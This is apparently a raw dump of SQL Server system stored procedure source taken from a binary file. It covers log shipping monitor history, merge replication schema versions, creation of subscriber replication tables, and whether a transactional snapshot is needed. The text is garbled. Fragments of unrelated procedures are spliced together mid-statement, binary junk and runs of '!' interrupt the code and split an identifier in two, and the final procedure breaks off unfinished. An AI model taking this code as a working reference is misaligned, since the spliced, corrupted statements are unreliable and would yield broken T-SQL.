    ,@message nvarchar(4000) = NULL -- should this be nvarchar(4000) since linked server may not process (max)
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)
    --
    -- should be executed in msdb
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_MSproxylogshippingmonitorhistory', N'msdb')
        return 1
    end
    -- 
    -- process the monitor record in log_shipping_monitor_history_detail on the monitor server 
    --
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorhistory'
    begin try
        exec @retcode = @linkcmd 
                @mode = @mode
                ,@agent_id = @agent_id
                ,@agent_type = @agent_type
                ,@session_id = @session_id
                ,@session_status = @session_status
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = 0
                ,@database = @database
                ,@log_time = @log_time
                ,@log_time_utc = @log_time_utc
                ,@message = @message
    end try
    begin catch
        select @retcode = 1
    end catch
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0'&1@ 8create procedure sys.sp_MSsetreplicaschemaversion(
    @subid          uniqueidentifier,
    @schemaversion  int,
    @schemaguid     uniqueidentifier
    ) AS
begin
    set nocount on
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode int

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @subid
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    update dbo.sysmergesubscriptions set schemaversion = @schemaversion, schemaguid = @schemaguid
        where subid = @subid
        
    if @@error <> 0     
        return (1)

    return (0)
end
255) collate database_default null)

    insert into #text_ret exec @retcode = master.dbo.xp_cmdshell @command
    if @@error <> 0 or @retcode <> 0
        return 1

    if exists (select * from #text_ret where ltrim(rtrim(cmdoutput)) = @echo_text)
        select @exists = 1
    else 
        select @exists = 0

    drop table #text_ret
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2T`<(Vvcreate procedure sys.sp_MScreate_sub_tables_internal 
(
    @tran_sub_table                 bit = 0,
    @property_table                 bit = 1,
    @sqlqueue_table                 bit = 0,
    @subscription_articles_table    bit = 0,
    @p2p_table                         bit = 0
)
as
BEGIN
    set nocount on
    declare @retcode int

    --
    -- for transactional subscriptions
    --
    IF @tran_sub_table = 1
    BEGIN
        --
        -- MSreplication_subscriptions
        --
        if object_id(N'dbo.MSreplication_subscriptions', 'U') is NULL
        begin
            --
            -- table does not exist - create the table
            --
            BEGIN TRAN sp_MScreate_sub_tables
            SAVE TRAN sp_MScreate_sub_tables
            CREATE TABLE dbo.MSreplication_subscriptions
            (
            publisher sysname NOT NULL,
            publisher_db sysname NULL, 
            publication sysname NULL, 
            independent_agent bit NOT NULL,
            subscription_type int NOT NULL,
            distribution_agent sysname NULL, 
            time smalldatetime NOT NULL,
            description nvarchar(255) NULL,
            transaction_timestamp varbinary(16) NOT NULL,
            update_mode tinyint NOT NULL,
            agent_id binary(16) NULL,
            subscription_guid binary(16) NULL,
            subid binary(16) NULL,
            immediate_sync bit NOT NULL default 1, -- sync_mode with a default of 1
            )
            IF @@ERROR <> 0
                GOTO UNDO
            CREATE UNIQUE CLUSTERED INDEX uc1MSReplication_subscriptions ON
                MSreplication_subscriptions(publication, publisher_db, publisher, subscription_type, transaction_timestamp)
            IF @@ERROR <> 0
                GOTO UNDO

            exec dbo.sp_MS_marksystemobject 'MSreplication_subscriptions'
            IF @@ERROR <> 0
                GOTO UNDO
            COMMIT TRAN sp_MScreate_sub_tables
        end    
        else
        begin 
            --
            -- table exists - add new columns
            --

            if COLUMNPROPERTY( OBJECT_ID('MSreplication_subscriptions'),'distribution_agent','AllowsNull') <> 1
            BEGIN
                alter table dbo.MSreplication_subscriptions alter column distribution_agent sysname null
            end
            
            if exists (select * from sys.indexes where object_id = object_id('MSreplication_subscriptions') and name = 'uc1MSReplication_subscriptions'
                    and is_unique = 'True' )
            begin 
                if not exists (select * from sys.indexes SI 
                            join sys.index_columns SIC on SI.object_id = SIC.object_id and SI.index_id = SIC.index_id 
                            join sys.columns SC on SI.object_id = SC.object_id and SC.column_id = SIC.column_id 
                            where SI.object_id = object_id('MSreplication_subscriptions') and is_unique = 'True' and SC.name = 'transaction_timestamp') 
                begin 
                    drop index MSreplication_subscriptions.uc1MSReplication_subscriptions 
                    CREATE UNIQUE CLUSTERED INDEX uc1MSReplication_subscriptions ON 
                        MSreplication_subscriptions(publication, publisher_db, publisher, subscription_type, transaction_timestamp) 
                end
            end 
        end -- MSreplication_subscriptions
        
        --
        -- MSsubscription_agents
        --
        IF object_id(N'dbo.MSsubscription_agents', 'U') is NULL
        BEGIN
            --
            -- table does not exist - create the table
            --
            BEGIN TRAN sp_MScreate_sub_tables
            SAVE TRAN sp_MScreate_sub_tables
            CREATE TABLE dbo.MSsubscription_agents
            (
            id int identity,
            publisher sysname NOT NULL,
            publisher_db sysname NOT NULL, 
            publication sysname NOT NULL, 
            subscription_type int NOT NULL,
            queue_id sysname NULL,
            update_mode tinyint default 0 not null, -- 0 = read only, 1 = sync/immediate, 2 = queued, 3 = failover, 4 = sqlqueued, 5 = sqlqueued failover
            failover_mode bit default 0 not null, -- 0 - sync/immediate, 1 = queued
            spid int NOT NULL,
            login_time datetime NOT NULL,
            allow_subscription_copy bit default 0 not null,
            attach_state int default 0 not null,    -- 0: not attached 1 attached but not processed 2 attached and processed.
            attach_version binary(16) default newid() not null,
            last_sync_status int NULL, -- allow null for upgrade
            last_sync_summary sysname NULL, -- allow null for upgrade
            last_sync_time datetime NULL, -- allow null for upgrade
            queue_server sysname NULL -- only used for MSMQ based updating subscribers
            )
            IF @@ERROR <> 0
                GOTO UNDO

            CREATE unique CLUSTERED INDEX ucMSsubscription_agents ON dbo.MSsubscription_agents
                (publication, publisher_db, publisher, subscription_type)

            CREATE INDEX ucMSsubscription_agents_id ON dbo.MSsubscription_agents
                (id)

            exec dbo.sp_MS_marksystemobject 'MSsubscription_agents'
            IF @@ERROR <> 0
                GOTO UNDO

            grant select on dbo.MSsubscription_agents to public
            IF @@ERROR <> 0
                GOTO UNDO
            COMMIT TRAN sp_MScreate_sub_tables
        END
        ELSE
        BEGIN
            --
            -- table exists - add new columns
            --
            if not exists (select * from sys.columns where 
                object_id = object_id(N'dbo.MSsubscription_agents') and
                name = 'queue_server')
            begin
                BEGIN TRAN sp_MScreate_sub_tables
                SAVE TRAN sp_MScreate_sub_tables
                alter table dbo.MSsubscription_agents add queue_server sysname NULL
                if @@error != 0
                    goto UNDO
                exec @retcode = sys.sp_MSupdate_mqserver_subdb
                if @retcode != 0 or @@error != 0
                    goto UNDO
                COMMIT TRAN sp_MScreate_sub_tables
            end
        END -- MSsubscription_agents
        --
        -- MSreplication_objects
        --
        IF object_id(N'dbo.MSreplication_objects', 'U') is NULL
        BEGIN
            --
            -- table does not exist - create the table
            --
            BEGIN TRAN sp_MScreate_sub_tables
            SAVE TRAN sp_MScreate_sub_tables
            CREATE TABLE dbo.MSreplication_objects
            (
                publisher sysname NULL,
                publisher_db sysname NULL,
                publication sysname NULL, 
                object_name    sysname NOT NULL,
                object_type    char(2) NOT NULL
                ,article sysname NULL
            )
            IF @@ERROR <> 0
                GOTO UNDO

            CREATE CLUSTERED INDEX ucMSreplication_objects ON dbo.MSreplication_objects(object_name)
            exec dbo.sp_MS_marksystemobject 'dbo.MSreplication_objects'
            IF @@ERROR <> 0
                GOTO UNDO

            COMMIT TRAN sp_MScreate_sub_tables
        END -- MSreplication_objects
        ELSE
        BEGIN
            BEGIN TRAN sp_MScreate_sub_tables
            SAVE TRAN sp_MScreate_sub_tables

            if exists (select * from sys.indexes where name = N'ucMSreplication_objects' 
            								and object_id = OBJECT_ID(N'dbo.MSreplication_objects')
            								and is_unique = 1)
            begin --remove uniqueness constraint
            	drop index ucMSreplication_objects on dbo.MSreplication_objects
            	CREATE CLUSTERED INDEX ucMSreplication_objects ON dbo.MSr!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(V,mveplication_objects(object_name)
            end
            
            --
            -- table exists - add new columns
            --
            if not exists (select * from sys.columns where 
                object_id = object_id(N'dbo.MSreplication_objects') and
                name = 'article')
            begin
                alter table dbo.MSreplication_objects add article sysname NULL
                if @@error != 0
                    goto UNDO
            end
            COMMIT TRAN sp_MScreate_sub_tables
        END -- MSreplication_objects    
    END -- @tran_sub_table = 1

    --
    -- Is property table flag enabled
    --
    if (@property_table = 1)
    begin
        --
        -- MSsubscription_properties
        --
        if object_id(N'dbo.MSsubscription_properties', 'U') is NULL
        BEGIN
            BEGIN TRAN sp_MScreate_sub_tables
            SAVE TRAN sp_MScreate_sub_tables

            exec @retcode= sys.sp_MScreate_subscription_properties_table
            if @@error <> 0 or @retcode <> 0 goto UNDO

            COMMIT TRAN sp_MScreate_sub_tables
        END -- MSsubscription_agents
        else
        begin
            --
            -- NOTE : TEMPORARY - remove this block
            -- after the builds have stabilized
            -- this code is already in sp_vupgrade_MSsubscription_properties
            -- table exists - add new columns
            --
            BEGIN TRAN sp_MScreate_sub_tables
            SAVE TRAN sp_MScreate_sub_tables
            if not exists (select * from sys.columns where 
                object_id = object_id(N'dbo.MSsubscription_properties') and
                name = 'publisherlink')
            begin
                alter table dbo.MSsubscription_properties add publisherlink sysname NULL
                if @@error != 0
                    goto UNDO
            end
            if not exists (select * from sys.columns where 
                object_id = object_id(N'dbo.MSsubscription_properties') and
                name = 'publisherlinkuser')
            begin
                alter table dbo.MSsubscription_properties add publisherlinkuser sysname NULL
                if @@error != 0
                    goto UNDO
            end            
            COMMIT TRAN sp_MScreate_sub_tables
        end
    end -- @property_table = 1

    --
    -- SQL Queue related tables
    --
    IF @sqlqueue_table = 1
    BEGIN
        declare @folddata bit

        --
        -- MSreplication_queue
        --
        BEGIN TRAN sp_MScreate_sub_tables
        SAVE TRAN sp_MScreate_sub_tables
        if object_id('MSreplication_queue', 'U') is not NULL
        BEGIN
            --
            -- table exists - check if we need to add columns
            --
            if not exists (select * from sys.columns where 
                    object_id = object_id(N'dbo.MSreplication_queue') and
                    name = 'cmdstate')
            BEGIN
                ALTER TABLE dbo.MSreplication_queue ADD cmdstate bit DEFAULT 0 NOT NULL
                IF @@ERROR <> 0
                    GOTO UNDO
            END    

            --
            -- change data column from text to varbinary(8000)
            -- SPECIAL CASE : since a simple ALTER does not work here
            -- we create a temp table to save the existing data and then
            -- recreate the table
            --
            if exists (select * from sys.columns 
                where object_id = object_id(N'dbo.MSreplication_queue') and
                name = 'data' and system_type_id = 34)
            begin
                --
                -- save existing column data
                --
                if exists (select * from dbo.MSreplication_queue)
                begin
                    select @folddata = 1
                    create table #olddata (
                        publisher                    sysname collate database_default not null ,
                        publisher_db                sysname collate database_default not null ,
                        publication                    sysname collate database_default not null ,
                        tranid                        sysname collate database_default not null ,
                        data                        varbinary(8000) NULL ,
                        datalen                     int,
                        commandtype                    int,
                        insertdate                    datetime ,
                        orderkey                    bigint,
                        cmdstate                    bit)
                        
                    insert into #olddata 
                        select publisher, publisher_db, publication, tranid, CAST(data as varbinary(8000)), 
                                datalen, commandtype, insertdate, orderkey, cmdstate 
                        from dbo.MSreplication_queue
                    if @@error != 0
                        goto UNDO
                end

                --
                -- drop table
                --
                DROP TABLE dbo.MSreplication_queue
                IF @@ERROR <> 0
                    GOTO UNDO                
            end        
        END

        --
        -- Create table if it does not exist
        --
        if object_id(N'dbo.MSreplication_queue', 'U') is NULL
        BEGIN        
            CREATE TABLE dbo.MSreplication_queue (
                publisher                     sysname NOT NULL ,
                publisher_db                 sysname NOT NULL ,
                publication                 sysname NOT NULL ,
                tranid                         sysname NOT NULL ,
                data                         varbinary(8000) NULL ,
                datalen                     int DEFAULT 0 ,
                commandtype                 int NULL ,
                insertdate                     datetime DEFAULT GETDATE(),
                orderkey                    bigint IDENTITY(1,1) PRIMARY KEY,
                cmdstate                    bit DEFAULT 0 NOT NULL
            )
            IF @@ERROR <> 0
                GOTO UNDO

            CREATE NONCLUSTERED INDEX nc1MSreplication_queue ON
            MSreplication_queue(publisher, publisher_db, publication, tranid)
            IF @@ERROR <> 0
                GOTO UNDO

            EXEC @retcode = dbo.sp_MS_marksystemobject 'MSreplication_queue'
            if @retcode <> 0 or @@error <> 0
                GOTO UNDO

            --
            -- Do we need to restore old data
            --
            if (@folddata = 1)
            begin
                insert dbo.MSreplication_queue (publisher, publisher_db, publication, tranid, data,
                            datalen, commandtype, insertdate, cmdstate)
                    select publisher, publisher_db, publication, tranid, data, 
                                datalen, commandtype, insertdate, cmdstate 
                        from #olddata
                        order by orderkey
                if @@error != 0
                    goto UNDO
                
                drop table #olddata
                if @@error != 0
                    goto UNDO
            end
        END
        --
        -- Table MSrepl_queuedtraninfo
        -- Create table if it does not exist
        --
        if object_id(N'dbo.MSrepl_queuedtraninfo', 'U') is NULL
        BEGIN
            CREATE TABLE dbo.MSrepl_queuedtraninfo (
                publisher                     sysname NOT NULL ,
                publisher_db                     sysname NOT NULL ,
                publication                     sysname NOT NULL ,
                tranid                         sysname NOT NULL ,
                maxorderkey                    bigint NOT NULL,
             !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<H[ r   commandcount                bigint NOT NULL
            )
            IF @@ERROR <> 0
                GOTO UNDO
            CREATE CLUSTERED INDEX nc1MSrepl_queuedtraninfo ON
                    MSrepl_queuedtraninfo(publisher,publisher_db,publication,tranid)
            IF @@ERROR <> 0
                GOTO UNDO
            EXEC @retcode = dbo.sp_MS_marksystemobject 'MSrepl_queuedtraninfo'
            if @retcode <> 0 or @@error <> 0
                GOTO UNDO
            --
            -- Populate this table as necessary
            --
            exec @retcode = sp_populateqtraninfo
            if @retcode <> 0 or @@error <> 0
                GOTO UNDO
        END

        IF object_id(N'dbo.MSsubscription_articlecolumns', 'U') is NULL
        BEGIN
            create table dbo.MSsubscription_articlecolumns
            (
                agent_id int NOT NULL, -- related entry in MSsubscription_agents, can't add FK since source is not PK
                artid             int NOT NULL,
                colid             int NOT NULL
            )
            if @@error <> 0
                GOTO UNDO

            create unique clustered index idx_MSsubscription_articlecolumns 
                        on MSsubscription_articlecolumns (agent_id, artid, colid)
            if @@error <> 0
                GOTO UNDO

            exec @retcode = dbo.sp_MS_marksystemobject 'MSsubscription_articlecolumns'
            if @retcode <> 0 or @@error <> 0
                GOTO UNDO
        END
        else
        begin
            if exists (select * from sys.columns sc inner join sys.types st on sc.system_type_id = st.system_type_id 
                where object_id = object_id('dbo.MSsubscription_articlecolumns', 'U') and sc.name = N'colid' and st.name = N'smallint')
            begin
                if exists (select * from sysindexes where id = object_id('dbo.MSsubscription_articlecolumns') and name ='idx_MSsubscription_articlecolumns')
                    begin
                        drop index MSsubscription_articlecolumns.idx_MSsubscription_articlecolumns
                        if @@error <> 0 return 1
                    end

                alter table dbo.MSsubscription_articlecolumns alter column colid int NOT null
                if @@error <> 0 return 1
                
                create unique clustered index idx_MSsubscription_articlecolumns on MSsubscription_articlecolumns (agent_id, artid, colid)
                if @@error <> 0 return 1
            end
        end

        COMMIT TRAN sp_MScreate_sub_tables
    END -- @sqlqueue_table = 1

    IF @subscription_articles_table = 1
        or @p2p_table = 1
    BEGIN
        BEGIN TRAN sp_MScreate_sub_tables
        SAVE TRAN sp_MScreate_sub_tables
            
        --
        -- Create system table MSsubscription_articles if it does not exist
        --
        IF object_id(N'dbo.MSsubscription_articles', 'U') is NULL
        BEGIN
            CREATE TABLE dbo.MSsubscription_articles
            (
                agent_id        int NOT NULL,        -- related entry in MSsubscription_agents
                artid            int NOT NULL,        -- article id
                article            sysname,            -- article name
                dest_table        sysname,            -- destination table
                owner            sysname,            -- destination owner
                cft_table        sysname    NULL        -- conflict table
            )
            IF @@ERROR <> 0
                GOTO UNDO

            CREATE UNIQUE CLUSTERED INDEX ucMSsubscription_articles ON dbo.MSsubscription_articles(agent_id, artid)
            IF @@ERROR <> 0
                GOTO UNDO

            exec @retcode = dbo.sp_MS_marksystemobject 'MSsubscription_articles'
            if @retcode <> 0 or @@error <> 0
                GOTO UNDO
        END

        COMMIT TRAN sp_MScreate_sub_tables
    END
    
    -- setup the subscriber tables for PeerToPeer replication
    IF @p2p_table = 1
    BEGIN
        -- the proc wraps all table creation with a BEGIN TRAN and will
        -- roll it back internally if a failure occurs. That's why all 
        -- we do here is return 1 if an error occurs instead of an "UNDO"
        exec @retcode = sys.sp_MScreate_peer_tables
        if @retcode <> 0 or @@error <> 0
            return 1
    END

    --
    -- All done - we have already committed any 
    -- open transactions if we have reached here
    --
    return(0)
    
UNDO:
    --
    -- Rollback to the savepoint and commit
    -- this way we can undo the operations
    -- contained in this SP and return error
    --
    ROLLBACK TRAN sp_MScreate_sub_tables
    COMMIT TRAN sp_MScreate_sub_tables
    return(1) 
END
;B;return (1)
                end

                if @ctsview_80 is not NULL
                begin
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_80 
                    if @@ERROR<>0 or @retcode<>0 return (1)
                end
            end                 
            
            /* Advance to next article and repeat the loop */
            select @tablenick = min(nickname) from dbo.sysmergearticles where
                pubid = @pubid and nickname > @tablenick and status<>@new_active and status<>@new_inactive

            /* make it so that any subsequent selects in the view are preceded by the word UNION */
            /* using OR to replace 'UNION ALL', which is equivalent */
            set @or_after_first = ' OR '
        end -- end while @tablenick is not null
    end  -- end Filtered case if


Finish:
    /* final steps: select out the text and drop the temp table */
    if @generate_per_article = 0
    begin
        select cmdtext from @tempcmd order by phase, step
        -- don't drop table variable!
        --drop table @tempcmd
    end         
    else
    begin
        /* Select the view names so that the caller can query them so they can be BCP'd out and dropped later */
        -- to see how this is read and used look at CMergePublication::GenerateContentsBcpFile
        select ctsvw, ctsvw_90_forall, ctsvw_90_forglobal, ctsvw_80, ctsview_rowtrack from @temp_cts_views order by step
        -- don't drop table variable!
        --drop table @temp_cts_views
    end

    return(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({2vcreate procedure sys.sp_MStran_is_snapshot_required
    @publisher             sysname,
    @publisher_db         sysname,
    @publication         sysname,
    @subscriber         sysname,
    @subscriber_db         sysname,
    @subscription_type    int,
    @run_at_distributor    bit = 0,                -- 0 running at subscriber 1 running at distributor
    @last_xact_seqno    varbinary(16) = null,    -- must be set when @run_at_distributor = 1
    @subscription_guid    varbinary(16) = null,    -- must be set when @run_at_distributor = 1
    @subid                varbinary(16) = null    -- must be set when @run_at_distributor = 1 and @subscription_type = 2 (anonymous)
as
begin
    set nocount on
    
    -- constants
    declare @INACTIVE         tinyint
    declare @SUBSCRIBED        tinyint
    declare @ACTIVE         tinyint
    declare @INITIATE         tinyint
    declare @PUSH            tinyint    
    declare @PULL            tinyint
    declare @ANONYMOUS        tinyint    
    declare @SYNC_TYPE_NONE tinyint
    declare @NOT_NEEDED        tinyint
    declare @NEEDED            tinyint
    declare @UNKNOWN        tinyint
    declare @TRAN_PUB        tinyint
    declare @SNAPSHOT_PUB    tinyint
    declare @SNAPSHOT_BIT     varbinary(16)
    declare @SYNCTRAN_TYPE     int
    declare @READ_ONLY        tinyint
    declare @CONCURRENT     tinyint
    declare @CONCURRENT_C     tinyint
    
    -- local vars
    declare @retcode                 int
    declare @publisher_name            sysname
    declare @publisher_database_id    int
    declare @pub_type                int
    declare @sub_count                int
    declare @pub_id                    int
    declare @agent_id                int
    declare @publication_id            int
    declare @sync_type                int
    declare @allow_anon                bit
    declare @immediate_sync            bit
    declare @status                    int
    declare @transaction_timestamp    varbinary(16)
    declare @dist_sub_guid            varbinary(16)
    declare @max_xact_seqno            varbinary(16)
    declare    @num_non_active            int
    declare @max_sub_seqno             varbinary(16)
    declare @min_sub_seqno             varbinary(16)
    declare @max_pub_seqno          varbinary(16)
    declare @is_needed                int        -- flag to be selected prior to exit
                                            -- 0 not needed 1 needed 2 unknown
    select @INACTIVE        = 0
    select @SUBSCRIBED        = 1
    select @ACTIVE            = 2
    select @INITIATE        = 3
    select @PUSH            = 0
    select @PULL            = 1
    select @ANONYMOUS        = 2
    select @SYNC_TYPE_NONE     = 2
    select @NOT_NEEDED        = 0
    select @NEEDED            = 1
    select @UNKNOWN            = 2
    select @TRAN_PUB        = 0
    select @SNAPSHOT_PUB    = 1
    select @SNAPSHOT_BIT    = 0x80000000
    select @SYNCTRAN_TYPE      = @SNAPSHOT_BIT | 9
    select @READ_ONLY        = 0
    select @CONCURRENT      = 3
    select @CONCURRENT_C      = 4
    
    select @retcode                 = 0
    select @publisher_name            = null
    select @publisher_database_id    = null
    select @pub_type                = null
    select @sub_count                = 0
    select @pub_id                    = null
    select @agent_id                = null
    select @publication_id            = null
    select @sync_type                = null 
    select @allow_anon                = 0
    select @immediate_sync            = null
    select @status                    = null
    select @transaction_timestamp    = null
    select @dist_sub_guid            = null
    select @max_xact_seqno            = null
    select @num_non_active            = 0
    select @max_sub_seqno             = 0x00
    select @min_sub_seqno            = 0x00
    select @max_pub_seqno              = 0x00
    select @is_needed                = @UNKNOWN

    -- Security check: db_owner, sysadmin if proc is called at the subscriber;
    -- PAL at the distributor

    if @run_at_distributor = 0
    begin
        exec @retcode = sys.sp_MSreplcheck_subscribe    
        if @@error<>0 or @retcode<>0
        begin
            return 1
        end
    end

    -- Common Parameter Validation
    if @publisher is null
    begin
        -- The parameter %s cannot be NULL.
        raiserror (14043, 16, -1, '@publisher', 'sp_MStran_is_snapshot_required')
        return (1)
    end

    if @publisher_db is null
    begin
        -- The parameter %s cannot be NULL.
        raiserror (14043, 16, -1, '@publisher_db', 'sp_MStran_is_snapshot_required')
        return (1)
    end
    
    if @publication is null
    begin
        -- The parameter %s cannot be NULL.
        raiserror (14043, 16, -1, '@publication', 'sp_MStran_is_snapshot_required')
        return (1)
    end

    if @subscription_type not in (@PUSH, @PULL, @ANONYMOUS)
    begin
        raiserror(20587, 16, -1, @subscription_type, 'sp_MStran_is_snapshot_required')
        return (1)
    end

    -- Perform subscriber side queries
    if @run_at_distributor = 0
    begin
        -- push cases do not have this table. instead of checking for push we will just check if the table 
        -- exists then retrieve the publication type. We can use this for one special case, SNAPSHOT PUBS.
        if object_id ('MSsubscription_properties') is not null
        begin
            select @pub_type = publication_type
                from dbo.MSsubscription_properties mssp
                where mssp.publisher         = @publisher
                    and mssp.publisher_db    = @publisher_db
                    and mssp.publication     = @publication
        end

        -- check for table
        if object_id ('MSreplication_subscriptions') is not null
        begin
            -- Retrieve time stamp and publication information
            select     @publisher_name = msrs.publisher,
                    @transaction_timestamp = msrs.transaction_timestamp,
                    @subscription_guid = msrs.subscription_guid,
                    @subid = msrs.subid
                from dbo.MSreplication_subscriptions msrs                    
                where msrs.publisher             = @publisher
                        and msrs.publisher_db     = @publisher_db
                        and (msrs.publication     = @publication
                                or (msrs.publication             = ''     -- this 'or' case is here for subs on pubs with NON-independednt agents
                                    and @pub_type                 = NULL
                                    and msrs.independent_agent     = 0))
                        and msrs.subscription_type     = @subscription_type
        end
        else
        begin
            select @publisher_name = null
        end 
        
        -- check for valid publisher name
        if @publisher_name is null
        begin
            -- if the subscription is push and the table does not exist it could mean 1 of two things. 
            -- 1-Snapshot not applied yet or 2-Subscription not found. Either will mean unknown for push.
            -- We can not say sub not found because what if the distributor knows about the sub (case 1).
            -- or
            -- If it is push then it is also possible that the table exists but the subscriber
            -- has not sync'd or failed durring a sync and has the table but no entries.
            if @subscription_type = @PUSH
            begin
                -- set the @subscription_guid to 0x00 which indicate that the tables 
                -- did not exist when the proc was called at the subscriber side
                select @transaction_timestamp     = 0x00
                select @subscription_guid         = 0x00
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({dqbv
                select @subid                    = 0x00
    
                -- set to unknown and then return
                select @is_needed = @UNKNOWN
                goto Results_Handler
            end

            -- for any other case (PULL + ANON) this means...
            -- The subscription on the Subscriber does not exist.
            raiserror (20017, 16, -1)
            return (1)
        end

        -- Take a look at the time stamp and subscription_guid to see if a snapshot is needed. On reinit 
        -- or initial subscription creation the tran_timestamp is set to 0x00 and subscription_guid is set
        -- to null. When these cases are met we can assume this means that the snapshot must be applied.
        -- or
        -- For anon subscriber side reinit case only the timestamp is reset so we need to check for this case
        -- or
        -- check to see if this is a snapshot publication. if so utomatically return @NEEDED since snapshot
        -- pubs will always need to retrieve a new snapshot from the publisher side.
        if (@transaction_timestamp = 0x00 and @subscription_guid is NULL) 
            or (@subscription_type  = @ANONYMOUS and @transaction_timestamp = 0x00 and @subscription_guid is not NULL) 
            or @pub_type = @SNAPSHOT_PUB
        begin
            select @is_needed = @NEEDED
        end
        -- Any push case should be checked at the distributor side as well for further info
        -- but according to the information at the subscriber no snapshot is currently needed
        -- and
        -- for pull and anon case where the time stamp is not 0x00 then we do not need a snapshot
        else if @transaction_timestamp <> 0x00
        begin
            select @is_needed = @NOT_NEEDED
        end
        -- any other case will be set to unknown since they are not handled and will have to be checked at distributor
        else
        begin
            select @is_needed = @UNKNOWN
        end

        goto Results_Handler
    end
    -- Perform distributor side queries
    else
    begin
        if object_id('MSpublications') is null
        begin
            -- Must be run on distributor.
            raiserror(21454, 16, -1)
            return (1)
        end
        
        -- retrieve publication id etc.
        select @pub_id = msp.publisher_id,
                @pub_type = msp.publication_type,
                @publication_id = msp.publication_id,
                @allow_anon = msp.allow_anonymous,
                @immediate_sync = msp.immediate_sync
            from dbo.MSpublications msp,
                    master.dbo.sysservers sv
            where sv.srvname                 = @publisher
                    and msp.publisher_id     = sv.srvid
                    and (msp.publication     = @publication
                     or (@publication is null or @publication = N'' or upper(@publication) = N'ALL') and msp.independent_agent = 0)
                    and msp.publisher_db     = @publisher_db
                    and msp.publication_type in (@TRAN_PUB, @SNAPSHOT_PUB)

        -- check for valid pubid
        if @pub_id is null
        begin
            -- The publication '%s' does not exist.
            raiserror(20026, 16, -1, @publication)
            return (1)
        end

        -- Distributor side specific parameter validation
        
        -- if the subscription is anon and we do not allow it then we know we can't find it
        if @subscription_type = @ANONYMOUS and @allow_anon = 0
        begin
            -- The subscription could not be found.
            raiserror(20021, 16, -1)
            return (1)
        end
        
        -- if the subscription is anon and guids/ids are null then we are not sure 
        -- because it could be the subscription was created but never initialized
        if @subscription_type = @ANONYMOUS and @subscription_guid is null and @subid is null
        begin
            select @is_needed = @UNKNOWN
            goto Results_Handler
        end

        -- if it's an immediate sync publication then we will require the subscription guid 
        if @immediate_sync = 1 and @subscription_guid is null
        begin
            -- The parameter %s cannot be NULL.
            raiserror (14043, 16, -1, '@subscription_guid', 'sp_MStran_is_snapshot_required')
            return (1)
        end

        if @subscriber is null
        begin
            -- The parameter %s cannot be NULL.
            raiserror (14043, 16, -1, '@subscriber', 'sp_MStran_is_snapshot_required')
            return (1)
        end

        if @subscriber_db is null
        begin
            -- The parameter %s cannot be NULL.
            raiserror (14043, 16, -1, '@subscriber_db', 'sp_MStran_is_snapshot_required')
            return (1)
        end

        -- set last seqno if it was passed in as null
        if @last_xact_seqno is null 
        begin
            select @last_xact_seqno = 0x00
        end

        -- if it is a pull or push and publication is not immediate then attempt
        -- to retrieve the information from MSsubscriptions status column which is
        -- only a valid value for the pull/push non-immediate_sync cases
        -- 
        -- we also skip over pub_type = SNAP_PUB because we have an optimization for
        -- it following this check.
        --
        -- NOTE:
        -- If the result of this does not hit the snapshot is NEEDED section then
        -- we will follow this with more system table checks to ensure we have
        -- the correct value. This is just to avoid extra processing if possible
        if @subscription_type in (@PULL, @PUSH) and @immediate_sync = 0 and @pub_type <> @SNAPSHOT_PUB
        begin  
            -- Attempt to retrieve information for well known subscriptions
            select @status = min(mss.status),
                    @sub_count = count(mss.status),
                    @sync_type = max(mss.sync_type)
                from dbo.MSsubscriptions mss,
                        master.dbo.sysservers sv
                where sv.srvname                     = @subscriber
                        and mss.subscriber_id         = sv.srvid
                        and mss.subscriber_db         = @subscriber_db
                        and mss.publisher_id         = @pub_id
                        and mss.publisher_db         = @publisher_db
                        and mss.publication_id         = @publication_id
                        and mss.subscription_type     = @subscription_type

            -- subcount is > 0 and status is not null
            if @sub_count = 0 or @status is null 
            begin
                -- The subscription could not be found.
                raiserror(20021, 16, -1)
                return (1)
            end
            
            -- nosync subscriptions will never be reinitialized and never need a snapshot
            if @sync_type = @SYNC_TYPE_NONE
            begin
                select @is_needed = @NOT_NEEDED
                goto Results_Handler
            end

            -- any status that is inactive or subscribed will need the snapshot
            -- also
            -- if this is a snapshot publication automatically return @NEEDED since 
            -- snapshot pubs will always retrieve a snapshot from the publisher side
            if @status in (@INACTIVE, @SUBSCRIBED) or @pub_type = @SNAPSHOT_PUB
            begin
                select @is_needed = @NEEDED
                goto Results_Handler
            end
        end

        -- For the push pull case retrieve the value from dist agent            
